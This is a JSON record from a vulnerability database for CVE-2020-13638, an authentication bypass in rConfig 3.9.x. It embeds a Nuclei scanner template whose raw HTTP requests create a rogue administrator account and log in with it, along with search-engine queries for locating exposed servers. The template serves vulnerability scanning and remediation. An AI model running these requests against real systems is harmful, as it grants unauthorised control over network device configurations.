{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-13638/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-13638/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-13638/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-13638/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-13638/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-13638"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-13638"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-13638.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-13638\n\ninfo:\n  name: rConfig 3.9 - Authentication Bypass(Admin Login)\n  author: theamanrawat\n  severity: critical\n  description: |\n    lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.\n  impact: |\n    Unauthenticated attackers can bypass authentication to create administrator accounts, leading to complete control over the rConfig installation and access to all network device configurations.\n  remediation: |\n    Upgrade to rConfig version 3.9.7 or later.\n  reference:\n    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip\n    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-13638\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-13638\n    cwe-id: CWE-269\n    epss-score: 0.76601\n    epss-percentile: 0.99519\n    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: rconfig\n    product: rconfig\n    shodan-query:\n      - http.title:\"rConfig\"\n      - http.title:\"rconfig\"\n    fofa-query: title=\"rconfig\"\n    google-query: intitle:\"rconfig\"\n  tags: cve,cve2020,rconfig,auth-bypass,intrusive,vkev,vuln\nvariables:\n  username: \"{{to_lower(rand_text_alpha(5))}}\"\n  password: \"{{rand_text_alphanumeric(12)}}!\"\n  email: \"{{rand_base(8)}}@{{rand_base(5)}}.com\"\n\nhttp:\n  - raw:\n      - |\n        POST /lib/crud/userprocess.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb\n\n        --01b28e152ee044338224bf647275f8eb\n        Content-Disposition: form-data; name=\"username\"\n\n        {{username}}\n        --01b28e152ee044338224bf647275f8eb\n        Content-Disposition: form-data; name=\"passconf\"\n\n        {{password}}\n        --01b28e152ee044338224bf647275f8eb\n        Content-Disposition: form-data; name=\"password\"\n\n        {{password}}\n        --01b28e152ee044338224bf647275f8eb\n        Content-Disposition: form-data; name=\"email\"\n\n        {{email}}\n        --01b28e152ee044338224bf647275f8eb\n        Content-Disposition: form-data; name=\"editid\"\n\n\n        --01b28e152ee044338224bf647275f8eb\n        Content-Disposition: form-data; name=\"add\"\n\n        add\n        --01b28e152ee044338224bf647275f8eb\n        Content-Disposition: form-data; name=\"ulevelid\"\n\n        9\n        --01b28e152ee044338224bf647275f8eb--\n      - |\n        GET /login.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /lib/crud/userprocess.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        user={{username}}&pass={{password}}&sublogin=1\n\n    host-redirects: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body_3\n        words:\n          - \"rConfig - Configuration Management\"\n          - \"Logged in as\"\n          - \"dashboadFieldSet\"\n        condition: and\n\n      - type: word\n        part: header_3\n        words:\n          - 'text/html'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402202f7d25edcede75e94cb0933b8988b1caf54a4038525f98669437a9b85670727c022046ae8936d7970865a95b3b34bbb36944eb0a4a1edb7e59e02e7a10ddd4a3135a:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-13638"
}